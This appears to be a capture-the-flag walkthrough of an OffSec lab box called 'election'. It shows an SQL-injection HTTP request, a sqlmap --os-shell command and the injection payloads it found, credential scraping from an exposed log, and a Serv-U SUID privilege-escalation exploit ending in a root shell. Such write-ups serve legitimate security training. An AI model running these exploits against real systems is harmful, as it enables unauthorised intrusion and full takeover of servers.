Now that the vulnerability in this application has been identified, a quick google search reveals the exact ticket we need. A very simple, non custom, SQLi vulnerability granting RCE. See the link below:

https://www.exploit-db.com/exploits/48122

— TAKEN FROM THE URL ABOVE #

POST /election/admin/ajax/op_kandidat.php HTTP/1.1

Host: HOSTNAME

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://HOSTNAME/election/admin/kandidat.php?_

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 17

Connection: close

Cookie: el_listing_panitia=5; el_mass_adding=false; el_listing_guru=5; el_listing_siswa=5; PHPSESSID=b4f0c3bbccd80e9d55fbe0269a29f96a; el_lang=en-us

aksi=fetch&id=256

Send the request (replace all “HOSTNAME” with your own) to SQLMap with the following parameters:

sqlmap -r getcandidate –level=5 –risk=3 –os-shell -p id

SQLMap will find the injection:

    —

    Parameter: id (POST)

        Type: boolean-based blind

        Title: AND boolean-based blind – WHERE or HAVING clause

        Payload: aksi=fetch&id=256 AND 8584=8584

        Type: time-based blind

        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

        Payload: aksi=fetch&id=256 AND (SELECT 8551 FROM (SELECT(SLEEP(5)))nYfJ)

        Type: UNION query

        Title: Generic UNION query (NULL) – 5 columns

        Payload: aksi=fetch&id=-9798 UNION ALL SELECT NULL,NULL,CONCAT(0x7170707171,0x676d755461434e486f4947505170

7357694861534e664f416f434269487042545a76454f5843584b,0x71717a7871),NULL,NULL– dWMc

    —

Once you have a foothold on the box, you will be user www-data. You will need to pivot over to the user “love”. The way to do this is essentially what I did by scraping credentials from /election/admin/logs/ directory in the web application directory (im guessing /var/www/html/election/admin/logs/system.log). So what I did was basically skip that whole step by visiting it via the browser, I didn’t however know that love was a user on the box which is where this route has the advantage, I guess Offsec wouldn’t have made that directory exposed if it wasn’t supposed to be potentially skipped.

From there, there is a SUID which stands out.

(which I actually checked GTFObins for but its not on there. I also used linenum.sh which didn’t give the same amount of info that linpeas does on this finding).

Linpeas picks this SUID out and puts a CVE against it. The SUID is not on GTFObins but there is an exploit for it on exploit-db. It looks like this binary is some sort of FTP server.

-rwsr-xr-x 1 root root 6.1M Nov 29  2017 /usr/local/Serv-U  —>  FTP_Server<15.1.7(CVE-2019-12181)/Serv-U

See the link to the exploit below:

https://www.exploit-db.com/exploits/47009

After downloading the exploit all I needed to do was run the following command (which is supplied on the exploit-db page in the comments part of the exploit)

gcc servu-pe-cve-2019-12181.c -o pe && ./pe

We have root, viola ! 

love@election:~$ gcc Serv-U-FTP-15.1.7-privesc.c -o pe && ./pe

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare),1000(love)

opening root shell

# whoami

root